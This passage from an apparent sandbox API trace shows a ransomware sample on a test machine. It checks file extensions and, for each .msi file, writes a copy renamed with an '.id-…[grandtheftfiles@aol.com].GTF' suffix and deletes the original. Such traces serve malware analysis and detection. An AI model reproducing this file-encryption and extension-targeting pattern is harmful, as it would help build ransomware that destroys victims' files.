	[0071.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.956] lstrlenW (lpString=".doc") returned 4
	[0071.956] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0071.956] lstrlenW (lpString=".docx") returned 5
	[0071.956] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0071.956] lstrlenW (lpString=".pdf") returned 4
	[0071.957] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0071.957] lstrlenW (lpString=".xls") returned 4
	[0071.957] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0071.957] lstrlenW (lpString=".xlsx") returned 5
	[0071.957] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0071.957] lstrlenW (lpString=".ppt") returned 4
	[0071.957] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0071.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.957] lstrlenW (lpString=".zip") returned 4
	[0071.957] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0071.957] lstrlenW (lpString=".rar") returned 4
	[0071.957] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0071.957] lstrlenW (lpString=".bz2") returned 4
	[0071.957] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0071.957] lstrlenW (lpString=".7z") returned 3
	[0071.957] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0071.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.957] lstrlenW (lpString=".dbf") returned 4
	[0071.957] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0071.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.958] lstrlenW (lpString=".1cd") returned 4
	[0071.958] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0071.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.958] lstrlenW (lpString=".jpg") returned 4
	[0071.958] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0071.958] lstrcmpiW (lpString1=".msi", lpString2=".GTF") returned 1
	[0071.958] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22
	[0071.958] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0071.959] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=495616) returned 1
	[0071.959] CloseHandle (hObject=0x2d4) returned 1
	[0071.959] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80
	[0071.959] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.959] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0071.959] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.959] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.960] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0071.960] GetLastError () returned 0x0
	[0071.960] ReadFile (in: hFile=0x2d4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x79000, lpOverlapped=0x0) returned 1
	[0071.972] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x79010, lpOverlapped=0x0) returned 1
	[0071.981] ReadFile (in: hFile=0x2d4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.981] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x100, lpOverlapped=0x0) returned 1
	[0071.981] SetEndOfFile (hFile=0x370) returned 1
	[0071.981] CloseHandle (hObject=0x370) returned 1
	[0071.992] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.992] SetEndOfFile (hFile=0x2d4) returned 1
	[0071.996] CloseHandle (hObject=0x2d4) returned 1
	[0071.996] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0071.996] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1
	[0071.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.997] lstrlenW (lpString=".doc") returned 4
	[0071.997] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0071.997] lstrlenW (lpString=".docx") returned 5
	[0071.997] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0071.997] lstrlenW (lpString=".pdf") returned 4
	[0071.997] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0071.997] lstrlenW (lpString=".xls") returned 4
	[0071.997] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0071.997] lstrlenW (lpString=".xlsx") returned 5
	[0071.997] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0071.997] lstrlenW (lpString=".ppt") returned 4
	[0071.997] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0071.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.997] lstrlenW (lpString=".zip") returned 4
	[0071.997] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0071.997] lstrlenW (lpString=".rar") returned 4
	[0071.997] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0071.997] lstrlenW (lpString=".bz2") returned 4
	[0071.997] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0071.997] lstrlenW (lpString=".7z") returned 3
	[0071.997] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0071.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.997] lstrlenW (lpString=".dbf") returned 4
	[0071.997] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0071.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.997] lstrlenW (lpString=".1cd") returned 4
	[0071.997] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0071.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.997] lstrlenW (lpString=".jpg") returned 4
	[0071.997] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0071.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.998] lstrlenW (lpString=".doc") returned 4
	[0071.998] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0071.998] lstrlenW (lpString=".docx") returned 5
	[0071.998] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0071.998] lstrlenW (lpString=".pdf") returned 4
	[0071.998] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0071.998] lstrlenW (lpString=".xls") returned 4
	[0071.998] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0071.998] lstrlenW (lpString=".xlsx") returned 5
	[0071.998] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0071.998] lstrlenW (lpString=".ppt") returned 4
	[0071.998] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0071.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.998] lstrlenW (lpString=".zip") returned 4
	[0071.998] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0071.998] lstrlenW (lpString=".rar") returned 4
	[0071.998] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0071.998] lstrlenW (lpString=".bz2") returned 4
	[0071.998] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0071.998] lstrlenW (lpString=".7z") returned 3
	[0071.998] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0071.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.998] lstrlenW (lpString=".dbf") returned 4
	[0071.998] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0071.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.998] lstrlenW (lpString=".1cd") returned 4
	[0071.998] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0071.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0071.998] lstrlenW (lpString=".jpg") returned 4
	[0071.998] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0071.998] lstrcmpiW (lpString1=".msi", lpString2=".GTF") returned 1
	[0071.998] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16
	[0071.998] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0071.999] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=184832) returned 1
	[0071.999] CloseHandle (hObject=0x2d4) returned 1
	[0071.999] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80
	[0071.999] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.999] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0071.999] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.999] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.999] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0071.999] GetLastError () returned 0x0
	[0071.999] ReadFile (in: hFile=0x2d4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x2d200, lpOverlapped=0x0) returned 1
	[0072.040] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x2d210, lpOverlapped=0x0) returned 1
	[0072.044] ReadFile (in: hFile=0x2d4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.044] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0072.044] SetEndOfFile (hFile=0x370) returned 1
	[0072.044] CloseHandle (hObject=0x370) returned 1
	[0072.048] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.048] SetEndOfFile (hFile=0x2d4) returned 1
	[0072.050] CloseHandle (hObject=0x2d4) returned 1
	[0072.050] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0072.050] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1
	[0072.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.051] lstrlenW (lpString=".doc") returned 4
	[0072.051] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0072.051] lstrlenW (lpString=".docx") returned 5
	[0072.051] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0072.051] lstrlenW (lpString=".pdf") returned 4
	[0072.051] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0072.051] lstrlenW (lpString=".xls") returned 4
	[0072.051] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0072.051] lstrlenW (lpString=".xlsx") returned 5
	[0072.051] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0072.051] lstrlenW (lpString=".ppt") returned 4
	[0072.051] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0072.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.051] lstrlenW (lpString=".zip") returned 4
	[0072.051] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0072.051] lstrlenW (lpString=".rar") returned 4
	[0072.051] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0072.051] lstrlenW (lpString=".bz2") returned 4
	[0072.051] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0072.051] lstrlenW (lpString=".7z") returned 3
	[0072.051] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0072.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.051] lstrlenW (lpString=".dbf") returned 4
	[0072.051] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0072.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.051] lstrlenW (lpString=".1cd") returned 4
	[0072.051] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0072.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.052] lstrlenW (lpString=".jpg") returned 4
	[0072.052] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0072.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.052] lstrlenW (lpString=".doc") returned 4
	[0072.052] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0072.052] lstrlenW (lpString=".docx") returned 5
	[0072.052] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0072.052] lstrlenW (lpString=".pdf") returned 4
	[0072.052] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0072.052] lstrlenW (lpString=".xls") returned 4
	[0072.052] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0072.052] lstrlenW (lpString=".xlsx") returned 5
	[0072.052] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0072.052] lstrlenW (lpString=".ppt") returned 4
	[0072.052] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0072.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.052] lstrlenW (lpString=".zip") returned 4
	[0072.052] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0072.052] lstrlenW (lpString=".rar") returned 4
	[0072.052] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0072.052] lstrlenW (lpString=".bz2") returned 4
	[0072.052] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0072.052] lstrlenW (lpString=".7z") returned 3
	[0072.052] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0072.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.052] lstrlenW (lpString=".dbf") returned 4
	[0072.052] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0072.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.052] lstrlenW (lpString=".1cd") returned 4
	[0072.052] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0072.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0072.052] lstrlenW (lpString=".jpg") returned 4
	[0072.052] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0072.053] lstrcmpiW (lpString1=".msi", lpString2=".GTF") returned 1
	[0072.053] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16
	[0072.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0072.053] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=94720) returned 1
	[0072.053] CloseHandle (hObject=0x2d4) returned 1
	[0072.058] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80
	[0072.058] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0072.059] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.059] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.059] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0072.059] GetLastError () returned 0x0
	[0072.059] ReadFile (in: hFile=0x2d4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x17200, lpOverlapped=0x0) returned 1
	[0072.062] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x17210, lpOverlapped=0x0) returned 1
	[0072.065] ReadFile (in: hFile=0x2d4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.065] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0072.065] SetEndOfFile (hFile=0x370) returned 1
	[0072.065] CloseHandle (hObject=0x370) returned 1
	[0072.067] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.067] SetEndOfFile (hFile=0x2d4) returned 1
	[0072.069] CloseHandle (hObject=0x2d4) returned 1
	[0072.069] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0072.069] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1
	[0072.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.069] lstrlenW (lpString=".doc") returned 4
	[0072.069] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0072.069] lstrlenW (lpString=".docx") returned 5
	[0072.069] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0072.069] lstrlenW (lpString=".pdf") returned 4
	[0072.069] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0072.069] lstrlenW (lpString=".xls") returned 4
	[0072.069] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0072.069] lstrlenW (lpString=".xlsx") returned 5
	[0072.069] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0072.069] lstrlenW (lpString=".ppt") returned 4
	[0072.070] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0072.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.070] lstrlenW (lpString=".zip") returned 4
	[0072.070] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0072.070] lstrlenW (lpString=".rar") returned 4
	[0072.070] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0072.070] lstrlenW (lpString=".bz2") returned 4
	[0072.070] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0072.070] lstrlenW (lpString=".7z") returned 3
	[0072.070] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0072.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.070] lstrlenW (lpString=".dbf") returned 4
	[0072.070] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0072.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.070] lstrlenW (lpString=".1cd") returned 4
	[0072.070] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0072.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.070] lstrlenW (lpString=".jpg") returned 4
	[0072.070] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0072.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.070] lstrlenW (lpString=".doc") returned 4
	[0072.070] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0072.070] lstrlenW (lpString=".docx") returned 5
	[0072.070] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0072.070] lstrlenW (lpString=".pdf") returned 4
	[0072.070] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0072.070] lstrlenW (lpString=".xls") returned 4
	[0072.070] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0072.070] lstrlenW (lpString=".xlsx") returned 5
	[0072.070] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0072.070] lstrlenW (lpString=".ppt") returned 4
	[0072.070] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0072.070] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.070] lstrlenW (lpString=".zip") returned 4
	[0072.071] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0072.071] lstrlenW (lpString=".rar") returned 4
	[0072.071] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0072.071] lstrlenW (lpString=".bz2") returned 4
	[0072.071] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0072.071] lstrlenW (lpString=".7z") returned 3
	[0072.071] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0072.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.071] lstrlenW (lpString=".dbf") returned 4
	[0072.071] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0072.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.071] lstrlenW (lpString=".1cd") returned 4
	[0072.071] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0072.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0072.071] lstrlenW (lpString=".jpg") returned 4
